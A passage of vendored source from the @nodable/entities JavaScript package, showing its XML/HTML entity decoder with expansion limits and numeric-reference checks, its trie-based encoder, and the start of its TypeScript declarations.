* 2. persistent external (survive across documents)
* 3. base named map (DEFAULT_XML_ENTITIES + user-supplied namedEntities)
*
* Both input and external resolve as the 'external' tier for limit purposes.
* Base map entities resolve as the 'base' tier.
*
* Numeric / hex references (&#NNN; / &#xHH;) are resolved directly via
* String.fromCodePoint() — no map needed. They count as 'base' tier.
*
* @example
* const replacer = new EntityReplacer({ namedEntities: COMMON_HTML });
* replacer.setExternalEntities({ brand: 'Acme' });
*
* const instance = replacer.reset();
* instance.addInputEntities({ version: '1.0' });
* instance.encode('&brand; v&version; &lt;'); // 'Acme v1.0 <'
*/
export default class EntityDecoder {
/**
* @param {object} [options]
* @param {object|null} [options.namedEntities] — extra named entities merged into base map
* @param {object} [options.limit] — security limits
* @param {number} [options.limit.maxTotalExpansions=0] — 0 = unlimited
* @param {number} [options.limit.maxExpandedLength=0] — 0 = unlimited
* @param {'external'|'base'|'all'|string[]} [options.limit.applyLimitsTo='external']
* Which entity tiers count against the security limits:
* - 'external' (default) — only input/runtime + persistent external entities
* - 'base' — only DEFAULT_XML_ENTITIES + namedEntities
* - 'all' — every entity regardless of tier
* - string[] — explicit combination, e.g. ['external', 'base']
* @param {((resolved: string, original: string) => string)|null} [options.postCheck=null]
* @param {string[]} [options.remove=[]] — entity names (e.g. ['nbsp', '#13']) to delete (replace with empty string)
* @param {string[]} [options.leave=[]] — entity names to keep as literal (unchanged in output)
* @param {object} [options.ncr] — Numeric Character Reference controls
* @param {1.0|1.1} [options.ncr.xmlVersion=1.0]
* XML version governing which codepoint ranges are restricted:
* - 1.0 — C0 controls U+0001–U+001F (except U+0009/000A/000D) are prohibited
* - 1.1 — C0 controls are allowed when written as NCRs; C1 (U+007F–U+009F) decoded as-is
* @param {'allow'|'leave'|'remove'|'throw'} [options.ncr.onNCR='allow']
* Base action for numeric references. Severity order: allow < leave < remove < throw.
* For codepoint ranges that carry a minimum level (surrogates → remove, XML 1.0 C0 → remove),
* the effective action is max(onNCR, rangeMinimum).
* @param {'remove'|'throw'} [options.ncr.nullNCR='remove']
* Action for U+0000 (null). 'allow' and 'leave' are clamped to 'remove' since null is never safe.
* @param {((name: string, value: string) => 'allow'|'block'|'throw')|null} [options.onExternalEntity=null]
* Hook called when an external entity is registered via `setExternalEntities()` or
* `addExternalEntity()`. Return `ENTITY_ACTION.ALLOW` to accept the entity,
* `ENTITY_ACTION.BLOCK` to silently skip it, or `ENTITY_ACTION.THROW` to abort with an error.
* @param {((name: string, value: string) => 'allow'|'block'|'throw')|null} [options.onInputEntity=null]
* Hook called when an input entity is registered via `addInputEntities()`. Return
* `ENTITY_ACTION.ALLOW` to accept, `ENTITY_ACTION.BLOCK` to silently skip, or
* `ENTITY_ACTION.THROW` to abort with an error.
*/
constructor(options = {}) {
this._limit = options.limit || {};
this._maxTotalExpansions = this._limit.maxTotalExpansions || 0;
this._maxExpandedLength = this._limit.maxExpandedLength || 0;
this._postCheck = typeof options.postCheck === 'function' ? options.postCheck : r => r;
this._limitTiers = parseLimitTiers(this._limit.applyLimitsTo ?? LIMIT_TIER_EXTERNAL);
this._numericAllowed = options.numericAllowed ?? true;
// Base map: DEFAULT_XML_ENTITIES + user-supplied extras. Immutable after construction.
this._baseMap = mergeEntityMaps(DEFAULT_XML_ENTITIES, options.namedEntities || null);
// Persistent external entities — survive across documents.
// Stored as a separate map so reset() never touches them.
/** @type {Record<string, string>} */
this._externalMap = Object.create(null);
// Input / runtime entities — current document only, wiped on reset().
/** @type {Record<string, string>} */
this._inputMap = Object.create(null);
// Per-document counters
this._totalExpansions = 0;
this._expandedLength = 0;
// --- New: remove / leave sets ---
/** @type {Set<string>} */
this._removeSet = new Set(options.remove && Array.isArray(options.remove) ? options.remove : []);
/** @type {Set<string>} */
this._leaveSet = new Set(options.leave && Array.isArray(options.leave) ? options.leave : []);
// --- NCR config (parsed into flat fields for hot-path speed) ---
const ncrCfg = parseNCRConfig(options.ncr);
this._ncrXmlVersion = ncrCfg.xmlVersion;
this._ncrOnLevel = ncrCfg.onLevel;
this._ncrNullLevel = ncrCfg.nullLevel;
// --- Registration hooks ---
/** @type {((name: string, value: string) => 'allow'|'block'|'throw')|null} */
this._onExternalEntity = typeof options.onExternalEntity === 'function'
? options.onExternalEntity
: null;
/** @type {((name: string, value: string) => 'allow'|'block'|'throw')|null} */
this._onInputEntity = typeof options.onInputEntity === 'function'
? options.onInputEntity
: null;
}
// -------------------------------------------------------------------------
// Private: registration hook dispatch
// -------------------------------------------------------------------------
/**
* Invoke a registration hook for a single entity name/value pair.
* Returns true when the entity should be accepted, false when it should be
* silently skipped (BLOCK), and throws when the hook returns THROW.
*
* @param {((name: string, value: string) => 'allow'|'block'|'throw')|null} hook
* @param {string} name
* @param {string} value
* @param {string} context — used in error messages ('external' | 'input')
* @returns {boolean} true = accept, false = skip
*/
_applyRegistrationHook(hook, name, value, context) {
if (!hook) return true; // no hook → always accept
const action = hook(name, value);
if (action === ENTITY_ACTION.BLOCK) return false;
if (action === ENTITY_ACTION.THROW) {
throw new Error(
`[EntityDecoder] Registration of ${context} entity "&${name};" was rejected by hook`
);
}
return true; // ALLOW or any unknown return value → accept
}
// -------------------------------------------------------------------------
// Persistent external entity registration
// -------------------------------------------------------------------------
/**
* Replace the full set of persistent external entities.
* All keys are validated — throws on invalid characters.
* If `onExternalEntity` is set, it is called once per entry; entries that
* return `ENTITY_ACTION.BLOCK` are silently omitted, `ENTITY_ACTION.THROW`
* aborts the whole call.
* @param {Record<string, string | { regex?: RegExp, val: string }>} map
*/
setExternalEntities(map) {
if (map) {
for (const key of Object.keys(map)) {
validateEntityName(key);
}
}
if (!this._onExternalEntity) {
this._externalMap = mergeEntityMaps(map);
return;
}
// Hook present — resolve values first, then filter
const flat = mergeEntityMaps(map);
const filtered = Object.create(null);
for (const [name, value] of Object.entries(flat)) {
if (this._applyRegistrationHook(this._onExternalEntity, name, value, 'external')) {
filtered[name] = value;
}
}
this._externalMap = filtered;
}
/**
* Add a single persistent external entity.
* If `onExternalEntity` is set it is called before the entity is stored;
* `ENTITY_ACTION.BLOCK` silently skips storage, `ENTITY_ACTION.THROW` raises.
* @param {string} key
* @param {string} value
*/
addExternalEntity(key, value) {
validateEntityName(key);
if (typeof value === 'string' && value.indexOf('&') === -1) {
if (this._applyRegistrationHook(this._onExternalEntity, key, value, 'external')) {
this._externalMap[key] = value;
}
}
}
// -------------------------------------------------------------------------
// Input / runtime entity registration (per document)
// -------------------------------------------------------------------------
/**
* Inject DOCTYPE entities for the current document.
* Also resets per-document expansion counters.
* If `onInputEntity` is set it is called once per entry; entries returning
* `ENTITY_ACTION.BLOCK` are silently omitted, `ENTITY_ACTION.THROW` aborts.
* @param {Record<string, string | { regx?: RegExp, regex?: RegExp, val: string }>} map
*/
addInputEntities(map) {
this._totalExpansions = 0;
this._expandedLength = 0;
if (!this._onInputEntity) {
this._inputMap = mergeEntityMaps(map);
return;
}
const flat = mergeEntityMaps(map);
const filtered = Object.create(null);
for (const [name, value] of Object.entries(flat)) {
if (this._applyRegistrationHook(this._onInputEntity, name, value, 'input')) {
filtered[name] = value;
}
}
this._inputMap = filtered;
}
// -------------------------------------------------------------------------
// Per-document reset
// -------------------------------------------------------------------------
/**
* Wipe input/runtime entities and reset counters.
* Call this before processing each new document.
* @returns {this}
*/
reset() {
this._inputMap = Object.create(null);
this._totalExpansions = 0;
this._expandedLength = 0;
return this;
}
// -------------------------------------------------------------------------
// XML version (can be set after construction, e.g. once parser reads <?xml?>)
// -------------------------------------------------------------------------
/**
* Update the XML version used for NCR classification.
* Call this as soon as the document's `<?xml version="...">` declaration is parsed.
* @param {1.0|1.1|number} version
*/
setXmlVersion(version) {
this._ncrXmlVersion = version === 1.1 ? 1.1 : 1.0;
}
// -------------------------------------------------------------------------
// Primary API
// -------------------------------------------------------------------------
/**
* Replace all entity references in `str` in a single pass.
*
* @param {string} str
* @returns {string}
*/
decode(str) {
if (typeof str !== 'string' || str.length === 0) return str;
//TODO: check if needed
if (str.indexOf('&') === -1) return str; // fast path — no entities at all
const original = str;
const chunks = [];
const len = str.length;
let last = 0; // start of next unprocessed literal chunk
let i = 0;
const limitExpansions = this._maxTotalExpansions > 0;
const limitLength = this._maxExpandedLength > 0;
const checkLimits = limitExpansions || limitLength;
while (i < len) {
// Scan forward to next '&'
if (str.charCodeAt(i) !== 38 /* '&' */) { i++; continue; }
// --- Found '&' at position i ---
// Scan forward to ';'
let j = i + 1;
while (j < len && str.charCodeAt(j) !== 59 /* ';' */ && (j - i) <= 32) j++;
if (j >= len || str.charCodeAt(j) !== 59) {
// No closing ';' within window — treat '&' as literal
i++;
continue;
}
// Raw token between '&' and ';' (exclusive)
const token = str.slice(i + 1, j);
if (token.length === 0) { i++; continue; }
let replacement;
let tier; // which limit tier this entity belongs to
if (this._removeSet.has(token)) {
// Remove entity: replace with empty string
replacement = '';
// If entity was unknown (replacement undefined), we still need a tier for limits.
// Treat as external tier because it's user-directed removal of an unknown reference.
if (tier === undefined) {
tier = LIMIT_TIER_EXTERNAL;
}
} else if (this._leaveSet.has(token)) {
// Do not replace — keep original &token; as literal
i++;
continue;
} else if (token.charCodeAt(0) === 35 /* '#' */) {
// ---- Numeric / NCR reference ----
// NCR classification always runs first — prohibited codepoints must be
// caught regardless of numericAllowed.
const ncrResult = this._resolveNCR(token);
if (ncrResult === undefined) {
// 'leave' action — keep original &token; as-is
i++;
continue;
}
replacement = ncrResult; // '' for remove, char string for allow
tier = LIMIT_TIER_BASE;
} else {
// ---- Named reference ----
const resolved = this._resolveName(token);
replacement = resolved?.value;
tier = resolved?.tier;
}
if (replacement === undefined) {
// Unknown entity — leave as-is, advance past '&' only
i++;
continue;
}
// Flush literal chunk before this entity
if (i > last) chunks.push(str.slice(last, i));
chunks.push(replacement);
last = j + 1; // skip past ';'
i = last;
// Apply expansion limits only if this tier is being tracked
if (checkLimits && this._tierCounts(tier)) {
if (limitExpansions) {
this._totalExpansions++;
if (this._totalExpansions > this._maxTotalExpansions) {
throw new Error(
`[EntityReplacer] Entity expansion count limit exceeded: ` +
`${this._totalExpansions} > ${this._maxTotalExpansions}`
);
}
}
if (limitLength) {
// delta: replacement.length minus the raw &token; length (token.length + 2 for '&' and ';')
const delta = replacement.length - (token.length + 2);
if (delta > 0) {
this._expandedLength += delta;
if (this._expandedLength > this._maxExpandedLength) {
throw new Error(
`[EntityReplacer] Expanded content length limit exceeded: ` +
`${this._expandedLength} > ${this._maxExpandedLength}`
);
}
}
}
}
}
// Flush trailing literal
if (last < len) chunks.push(str.slice(last));
// If nothing was replaced, chunks is empty — return original
const result = chunks.length === 0 ? str : chunks.join('');
return this._postCheck(result, original);
}
// -------------------------------------------------------------------------
// Private: limit tier check
// -------------------------------------------------------------------------
/**
* Returns true if a resolved entity of the given tier should count
* against the expansion/length limits.
* @param {string} tier — LIMIT_TIER_EXTERNAL | LIMIT_TIER_BASE
* @returns {boolean}
*/
_tierCounts(tier) {
if (this._limitTiers.has(LIMIT_TIER_ALL)) return true;
return this._limitTiers.has(tier);
}
// -------------------------------------------------------------------------
// Private: entity resolution
// -------------------------------------------------------------------------
/**
* Resolve a named entity token (without & and ;).
* Priority: inputMap > externalMap > baseMap
* Returns the resolved value tagged with its limit tier.
*
* @param {string} name
* @returns {{ value: string, tier: string }|undefined}
*/
_resolveName(name) {
// input and external both count as 'external' tier for limit purposes —
// they are injected at runtime and are the untrusted surface.
if (name in this._inputMap) return { value: this._inputMap[name], tier: LIMIT_TIER_EXTERNAL };
if (name in this._externalMap) return { value: this._externalMap[name], tier: LIMIT_TIER_EXTERNAL };
if (name in this._baseMap) return { value: this._baseMap[name], tier: LIMIT_TIER_BASE };
return undefined;
}
/**
* Classify a codepoint and return the minimum action level that must be applied.
* Returns -1 when no minimum is imposed (normal allow path).
*
* Ranges checked (in priority order):
* 1. U+0000 — null, governed by nullNCR (always ≥ remove)
* 2. U+D800–U+DFFF — surrogates, always prohibited (min: remove)
* 3. U+0001–U+001F \ {0x09,0x0A,0x0D} — XML 1.0 restricted C0 (min: remove)
* (skipped in XML 1.1 — C0 controls are allowed when written as NCRs)
*
* @param {number} cp — codepoint
* @returns {number} — minimum NCR_LEVEL value, or -1 for no restriction
*/
_classifyNCR(cp) {
// 1. Null
if (cp === 0) return this._ncrNullLevel;
// 2. Surrogates — always prohibited, minimum 'remove'
if (cp >= 0xD800 && cp <= 0xDFFF) return NCR_LEVEL.remove;
// 3. XML 1.0 restricted C0 controls
if (this._ncrXmlVersion === 1.0) {
if (cp >= 0x01 && cp <= 0x1F && !XML10_ALLOWED_C0.has(cp)) return NCR_LEVEL.remove;
}
return -1; // no restriction
}
/**
* Execute a resolved NCR action.
*
* @param {number} action — NCR_LEVEL value
* @param {string} token — raw token (e.g. '#38') for error messages
* @param {number} cp — codepoint, used only for error messages
* @returns {string|undefined}
* - decoded character string → 'allow'
* - '' → 'remove'
* - undefined → 'leave' (caller must skip past '&' only)
* - throws Error → 'throw'
*/
_applyNCRAction(action, token, cp) {
switch (action) {
case NCR_LEVEL.allow: return String.fromCodePoint(cp);
case NCR_LEVEL.remove: return '';
case NCR_LEVEL.leave: return undefined; // signal: keep literal
case NCR_LEVEL.throw:
throw new Error(
`[EntityDecoder] Prohibited numeric character reference ` +
`&${token}; (U+${cp.toString(16).toUpperCase().padStart(4, '0')})`
);
default: return String.fromCodePoint(cp);
}
}
/**
* Full NCR resolution pipeline for a numeric token.
*
* Steps:
* 1. Parse the codepoint (decimal or hex).
* 2. Validate the raw codepoint range (NaN, <0, >0x10FFFF).
* 3. If numericAllowed is false and no minimum restriction applies → leave as-is.
* 4. Classify the codepoint to find the minimum required action level.
* 5. Resolve effective action = max(onNCR, minimum).
* 6. Apply and return.
*
* @param {string} token — e.g. '#38', '#x26', '#X26'
* @returns {string|undefined}
* - string (incl. '') — replacement ('' = remove)
* - undefined — leave original &token; as-is
*/
_resolveNCR(token) {
// Step 1: parse codepoint
const second = token.charCodeAt(1);
let cp;
if (second === 120 /* x */ || second === 88 /* X */) {
cp = parseInt(token.slice(2), 16);
} else {
cp = parseInt(token.slice(1), 10);
}
// Step 2: out-of-range → leave as-is unconditionally
if (Number.isNaN(cp) || cp < 0 || cp > 0x10FFFF) return undefined;
// Step 3: classify to get minimum action level
const minimum = this._classifyNCR(cp);
// Step 4: if numericAllowed is false and no hard minimum → leave
if (!this._numericAllowed && minimum < NCR_LEVEL.remove) return undefined;
// Step 5: effective action = max(configured onNCR, range minimum)
const effective = minimum === -1
? this._ncrOnLevel
: Math.max(this._ncrOnLevel, minimum);
// Step 6: apply
return this._applyNCRAction(effective, token, cp);
}
}

239
node_modules/@nodable/entities/src/EntityEncoder.js generated vendored Normal file
View File

@@ -0,0 +1,239 @@
// EntityEncoder.js
import { buildTries } from './entityTries.js';
// NOTE: no static import of ALL_ENTITIES / entities.js here — that import
// was the actual tree-shaking leak (see constructor comment below).
// Replacement strings indexed by char code — direct array access, no hashing
const XML_UNSAFE_REPLACEMENT = new Array(128);
XML_UNSAFE_REPLACEMENT[38] = '&amp;'; // &
XML_UNSAFE_REPLACEMENT[60] = '&lt;'; // <
XML_UNSAFE_REPLACEMENT[62] = '&gt;'; // >
XML_UNSAFE_REPLACEMENT[34] = '&quot;'; // "
XML_UNSAFE_REPLACEMENT[39] = '&apos;'; // '
// Typed bitmask for O(1) "is this ASCII code XML-unsafe?" check
const IS_XML_UNSAFE = new Uint8Array(128);
IS_XML_UNSAFE[38] = 1;
IS_XML_UNSAFE[60] = 1;
IS_XML_UNSAFE[62] = 1;
IS_XML_UNSAFE[34] = 1;
IS_XML_UNSAFE[39] = 1;
// Fast pre-scan: bail out immediately if nothing needs encoding
const NEEDS_PROCESSING = /[&<>"'\u0080-\uFFFF]/;
export default class EntityEncoder {
constructor(options = {}) {
this.encodeXmlSafe = options.encodeXmlSafe !== false;
this.encodeAllNamed = options.encodeAllNamed !== false;
this.maxReplacements = options.maxReplacements || 0;
this.replacementsCount = 0;
// Tries are only built when named-entity encoding is actually requested,
// and only from what the caller explicitly hands in. There is no
// built-in default entity set imported here — that static import was
// exactly what pinned the entire ALL_ENTITIES data (all categories) into
// every consumer's bundle regardless of what they actually used. A `||`
// fallback to a statically-imported default does NOT tree-shake: the
// import is still "used" from the bundler's point of view even if the
// runtime branch never executes.
//
// BREAKING CHANGE from earlier versions: `new EntityEncoder()` with no
// `namedEntities` and `encodeAllNamed !== false` now throws instead of
// silently encoding the full built-in set. Callers who want the old
// "encode everything" behavior must opt in explicitly:
// import { ALL_ENTITIES } from '@nodable/entities';
// new EntityEncoder({ namedEntities: ALL_ENTITIES });
if (this.encodeAllNamed) {
if (!options.namedEntities) {
throw new Error(
'[EntityEncoder] encodeAllNamed is true but no `namedEntities` was ' +
'provided. Pass a specific set (e.g. { ...COMMON_HTML, ...CURRENCY }) ' +
'or the full built-in set via `namedEntities: ALL_ENTITIES` imported ' +
'from \'@nodable/entities\'. This is required so bundlers can ' +
'tree-shake unused entity categories out of your build; set ' +
'`encodeAllNamed: false` if you don\'t need named-entity encoding at all.'
);
}
const tries = buildTries(options.namedEntities);
this.trie1 = tries.trie1;
this.trie2 = tries.trie2;
this.trie3 = tries.trie3;
} else {
this.trie1 = null;
this.trie2 = null;
this.trie3 = null;
}
}
encode(str) {
if (typeof str !== 'string' || str.length === 0) return str;
if (!NEEDS_PROCESSING.test(str)) return str;
const maxRep = this.maxReplacements;
if (maxRep > 0 && this.replacementsCount >= maxRep) return str;
// Hoist to locals — avoids `this` property lookup inside the hot loop
const encodeXmlSafe = this.encodeXmlSafe;
const encodeAllNamed = this.encodeAllNamed;
const trie1 = this.trie1;
const trie2 = this.trie2;
const trie3 = this.trie3;
const len = str.length;
let result = '';
let last = 0;
let i = 0;
let limitReached = false;
// ── Main loop: runs to len-2 so trie3 never needs a bounds check ────────
// The last 2 characters are handled by the tail block below.
const mainEnd = len - 2; // i <= mainEnd guarantees i+1 and i+2 are valid
while (i <= mainEnd && !limitReached) {
const c0 = str.charCodeAt(i);
// ── ASCII branch ───────────────────────────────────────────────────
if (c0 < 128) {
if (encodeXmlSafe && IS_XML_UNSAFE[c0] === 1) {
result += str.substring(last, i) + XML_UNSAFE_REPLACEMENT[c0];
last = ++i;
if (maxRep > 0) {
this.replacementsCount++;
if (this.replacementsCount >= maxRep) {
limitReached = true;
break;
}
}
} else {
// Bulk-skip: advance to the next interesting position without
// touching the outer loop overhead on every safe character
i++;
while (i <= mainEnd && !limitReached) {
const c = str.charCodeAt(i);
if (c >= 128 || (encodeXmlSafe && IS_XML_UNSAFE[c] === 1)) break;
i++;
}
}
continue;
}
// ── Non-ASCII: integer-keyed trie lookup ───────────────────────────
// No bounds checks needed for c1/c2 because i <= mainEnd guarantees
// i+1 and i+2 are both within the string.
let matchedEntity = null;
let advance = 1;
if (encodeAllNamed) {
// Try 3-char match first (longest wins)
const mid3 = trie3.get(c0);
if (mid3 !== undefined) {
const c1 = str.charCodeAt(i + 1);
const inner3 = mid3.get(c1);
if (inner3 !== undefined) {
const c2 = str.charCodeAt(i + 2);
const candidate = inner3.get(c2);
if (candidate !== undefined) { matchedEntity = candidate; advance = 3; }
}
}
// Try 2-char match
if (matchedEntity === null) {
const inner2 = trie2.get(c0);
if (inner2 !== undefined) {
const c1 = str.charCodeAt(i + 1);
const candidate = inner2.get(c1);
if (candidate !== undefined) { matchedEntity = candidate; advance = 2; }
}
}
// Try 1-char match
if (matchedEntity === null) {
const candidate = trie1.get(c0);
if (candidate !== undefined) { matchedEntity = candidate; }
}
}
if (matchedEntity !== null) {
result += str.substring(last, i) + matchedEntity;
i += advance;
last = i;
if (maxRep > 0) {
this.replacementsCount++;
if (this.replacementsCount >= maxRep) {
limitReached = true;
break;
}
}
} else {
i++;
}
}
// ── Tail: handle the last 1-2 characters (no 3-char match possible) ────
while (i < len && !limitReached) {
const c0 = str.charCodeAt(i);
if (c0 < 128) {
if (encodeXmlSafe && IS_XML_UNSAFE[c0] === 1) {
result += str.substring(last, i) + XML_UNSAFE_REPLACEMENT[c0];
last = ++i;
if (maxRep > 0) {
this.replacementsCount++;
if (this.replacementsCount >= maxRep) {
limitReached = true;
break;
}
}
} else {
i++;
}
continue;
}
// Non-ASCII tail — only 2-char and 1-char matches are possible here
let matchedEntity = null;
let advance = 1;
if (encodeAllNamed) {
if (i + 1 < len) {
const inner2 = trie2.get(c0);
if (inner2 !== undefined) {
const c1 = str.charCodeAt(i + 1);
const candidate = inner2.get(c1);
if (candidate !== undefined) { matchedEntity = candidate; advance = 2; }
}
}
if (matchedEntity === null) {
const candidate = trie1.get(c0);
if (candidate !== undefined) { matchedEntity = candidate; }
}
}
if (matchedEntity !== null) {
result += str.substring(last, i) + matchedEntity;
i += advance;
last = i;
if (maxRep > 0) {
this.replacementsCount++;
if (this.replacementsCount >= maxRep) {
limitReached = true;
break;
}
}
} else {
i++;
}
}
// ── Flush any remaining literal suffix ────────────────────────────────
if (last < len) result += str.substring(last);
return result;
}
reset() {
this.replacementsCount = 0;
}
}

53
node_modules/@nodable/entities/src/all-entities.js generated vendored Normal file
View File

@@ -0,0 +1,53 @@
// all-entities.js
//
// ALL_ENTITIES lives in its OWN module, deliberately separate from
// entities.js. An object spread like `{ ...GREEK, ...CYRILLIC, ... }` is
// treated conservatively by bundlers (esbuild, Rollup, webpack) as a
// potential side effect — spreading can invoke getters or Symbol.iterator —
// so a module containing such a spread cannot be safely tree-shaken. If that
// spread lived inside entities.js alongside the individual category exports,
// its mere presence would pin every category into any bundle that imports
// even one of them, regardless of whether ALL_ENTITIES itself is ever used.
//
// Keeping it isolated here means:
// - `import { COMMON_HTML } from './entities.js'` tree-shakes cleanly —
// no other category is dragged in.
// - Only consumers who explicitly `import { ALL_ENTITIES } from
// './all-entities.js'` (re-exported from index.js for convenience) pay
// for the full merged set.
import {
BASIC_LATIN,
LATIN_ACCENTS,
LATIN_EXTENDED,
GREEK,
CYRILLIC,
MATH,
MATH_ADVANCED,
ARROWS,
SHAPES,
PUNCTUATION,
CURRENCY,
FRACTIONS,
MISC_SYMBOLS,
} from './entities.js';
/**
* All entities combined (if you need everything).
* @type {Record<string, string>}
*/
export const ALL_ENTITIES = {
...BASIC_LATIN,
...LATIN_ACCENTS,
...LATIN_EXTENDED,
...GREEK,
...CYRILLIC,
...MATH,
...MATH_ADVANCED,
...ARROWS,
...SHAPES,
...PUNCTUATION,
...CURRENCY,
...FRACTIONS,
...MISC_SYMBOLS,
};

1139
node_modules/@nodable/entities/src/entities.js generated vendored Normal file

File diff suppressed because it is too large Load Diff

60
node_modules/@nodable/entities/src/entityTries.js generated vendored Normal file
View File

@@ -0,0 +1,60 @@
// entityTries.js
// Builds integer-keyed tries so the encoder never allocates a string object
// during lookup — every key is a plain charCode number.
//
// trie1: Map<code0, entity>
// trie2: Map<code0, Map<code1, entity>>
// trie3: Map<code0, Map<code1, Map<code2, entity>>>
//
// Trie construction is now a pure function, called on-demand by whoever
// needs it (EntityEncoder, at instantiation time) instead of running
// eagerly at module-import time against the full ALL_ENTITIES set. This
// keeps the cost — and the entity data itself — out of any bundle/consumer
// that never actually asks for it.
/**
* Build integer-keyed tries from a name → chars entity map.
* @param {Record<string, string>} entityMap
* @returns {{ trie1: Map, trie2: Map, trie3: Map }}
*/
export function buildTries(entityMap) {
const trie1 = new Map(); // code0 → entity string
const trie2 = new Map(); // code0 → Map → entity string
const trie3 = new Map(); // code0 → Map → Map → entity string
// Reverse map: character sequence → "&name;"
// (built inline, not kept around — only the tries need to survive)
for (const name in entityMap) {
const chars = entityMap[name];
const entity = `&${name};`;
const len = chars.length;
if (len === 1) {
const c0 = chars.charCodeAt(0);
// Keep shortest match only if no longer match already claimed this code
// (longer matches are inserted in the same pass so we just overwrite —
// trie1 is only consulted after trie2/trie3 both miss, so no conflict)
trie1.set(c0, entity);
} else if (len === 2) {
const c0 = chars.charCodeAt(0);
const c1 = chars.charCodeAt(1);
let inner = trie2.get(c0);
if (inner === undefined) { inner = new Map(); trie2.set(c0, inner); }
inner.set(c1, entity);
} else if (len === 3) {
const c0 = chars.charCodeAt(0);
const c1 = chars.charCodeAt(1);
const c2 = chars.charCodeAt(2);
let mid = trie3.get(c0);
if (mid === undefined) { mid = new Map(); trie3.set(c0, mid); }
let inner = mid.get(c1);
if (inner === undefined) { inner = new Map(); mid.set(c1, inner); }
inner.set(c2, entity);
}
// HTML5 has no named entity whose character sequence is longer than 3 chars
}
return { trie1, trie2, trie3 };
}

358
node_modules/@nodable/entities/src/index.d.ts generated vendored Normal file
View File

@@ -0,0 +1,358 @@
// ---------------------------------------------------------------------------
// @nodable/entities — TypeScript declarations
// ---------------------------------------------------------------------------
/** A function-based entity replacement value (used for numeric refs). */
export type EntityValFn = (match: string, captured: string, ...rest: unknown[]) => string;
// ---------------------------------------------------------------------------
// Entity registration hook
// ---------------------------------------------------------------------------
/**
* Actions returned by `onExternalEntity` / `onInputEntity` hooks.
* Use the `ENTITY_ACTION` constant object instead of raw strings to avoid typos.
*
* - `'allow'` — register and expand the entity normally
* - `'block'` — silently skip the entity (not registered, treated as unknown)
* - `'throw'` — abort registration with an error
*/
export type EntityHookAction = 'allow' | 'block' | 'throw';
/**
* Immutable constant bag for entity registration hook return values.
*
* @example
* import { ENTITY_ACTION } from '@nodable/entities';
* const dec = new EntityDecoder({
* onInputEntity: (_name, _value) => ENTITY_ACTION.BLOCK,
* });
*/
export const ENTITY_ACTION: Readonly<{
/** Register and expand the entity normally. */
ALLOW: 'allow';
/** Silently skip this entity — it will not be registered. */
BLOCK: 'block';
/** Throw an error, aborting entity registration. */
THROW: 'throw';
}>;
/**
* Callback signature for `onExternalEntity` and `onInputEntity` hooks.
*
* Called once per entity **at registration time** (not at decode time).
* Return `ENTITY_ACTION.ALLOW` (or `'allow'`) to accept, `ENTITY_ACTION.BLOCK`
* to silently skip, or `ENTITY_ACTION.THROW` to raise an error.
*
* @param name — the entity name without `&` / `;`, e.g. `"brand"`
* @param value — the resolved string value after any `{regex,val}` unwrapping
*/
export type EntityRegistrationHook = (name: string, value: string) => EntityHookAction;
// ---------------------------------------------------------------------------
// Encoder options
// ---------------------------------------------------------------------------
export interface EntityEncoderOptions {
/**
* Whether to encode XML unsafe characters: `&`, `<`, `>`, `"`, `'`.
* @default true
*/
encodeXmlSafe?: boolean;
/**
* Whether to encode non‑ASCII characters (e.g. `é` → `&eacute;`) using a
* named entity trie. When `false`, no trie is built at all — cheapest option
* if you only need `encodeXmlSafe`.
* @default true
*/
encodeAllNamed?: boolean;
/**
* Restrict named-entity encoding to a specific set of entities instead of
* the full built-in `ALL_ENTITIES` table. Only meaningful when
* `encodeAllNamed` is `true` (the default). Passing a smaller set (e.g.
* `{ ...COMMON_HTML, ...CURRENCY }`) avoids building a trie for entity
* categories you never use.
*
* @default ALL_ENTITIES
* @example
* new EntityEncoder({ namedEntities: { ...COMMON_HTML, ...CURRENCY } });
*/
namedEntities?: Record<string, string> | null;
/**
* Maximum number of replacements performed **cumulatively** across all
* `encode()` calls. `0` means unlimited.
*
* Use `reset()` to reset the internal counter.
* @default 0
*/
maxReplacements?: number;
}
// ---------------------------------------------------------------------------
// EntityEncoder class
// ---------------------------------------------------------------------------
/**
* High‑performance encoder that replaces characters with XML/HTML entities.
*
* - Escapes XML unsafe characters (`&`, `<`, `>`, `"`, `'`) when `encodeXmlSafe` is true.
* - Replaces non‑ASCII characters (e.g. `é`, `©`) with named entities using
* a compact trie‑based lookup when `encodeAllNamed` is true.
* - Supports a cumulative replacement limit (`maxReplacements`) that persists
* across multiple `encode()` calls until `reset()` is called.
*
* @example
* const encoder = new EntityEncoder({ encodeXmlSafe: true, encodeAllNamed: true });
* encoder.encode('<foo>'); // "&lt;foo&gt;"
* encoder.encode('© 2025'); // "&copy; 2025"
*
* // With limit
* const limited = new EntityEncoder({ maxReplacements: 2 });
* limited.encode('<>&'); // "&lt;&gt;&" (third replacement omitted)
* limited.reset(); // reset counter
*/
export class EntityEncoder {
constructor(options?: EntityEncoderOptions);
/**
* Encode a string by replacing XML‑unsafe characters and (optionally)
* non‑ASCII characters with named entities.
*
* If `maxReplacements` is set and the cumulative limit has been reached,
* the input string is returned unchanged.
*
* @returns Encoded string (may be identical to input if no replacements needed
* or the limit has been exhausted).
*/
encode(str: string): string;
/**
* Reset the internal replacement counter.
* Does **not** change `encodeXmlSafe`, `encodeAllNamed`, or `maxReplacements`.
*/
reset(): void;
}
// ---------------------------------------------------------------------------
// Constructor options for EntityDecoder (existing)
// ---------------------------------------------------------------------------
/**
* Controls which entity categories count toward the expansion limits.
*
* - `'external'` — only untrusted / injected entities (default)
* - `'base'` — only built‑in XML entities + user‑supplied `namedEntities`
* - `'all'` — all entities regardless of tier
* - `string[]` — explicit combination, e.g. `['external', 'base']`
*/
export type ApplyLimitsTo = 'external' | 'base' | 'all' | Array<'external' | 'base'>;
export interface EntityDecoderLimitOptions {
/**
* Maximum number of entity references expanded **per document**.
* `0` means unlimited.
* @default 0
*/
maxTotalExpansions?: number;
/**
* Maximum number of characters **added** by entity expansion per document.
* `0` means unlimited.
* @default 0
*/
maxExpandedLength?: number;
/**
* Which entity tiers count toward the expansion limits.
*
* - `'external'` (default) – only input/runtime + persistent external entities
* - `'base'` – only built‑in XML + `namedEntities`
* - `'all'` – every entity regardless of tier
* - `string[]` – explicit combination, e.g. `['external', 'base']`
*
* @default 'external'
*/
applyLimitsTo?: ApplyLimitsTo;
}
export interface EntityDecoderNCROptions {
/**
* XML version used for NCR classification.
* @default 1.0
*/
xmlVersion?: 1.0 | 1.1;
/**
* Base action for all numeric references.
* @default 'allow'
*/
onNCR?: 'allow' | 'leave' | 'remove' | 'throw';
/**
* Action for null NCR (U+0000).
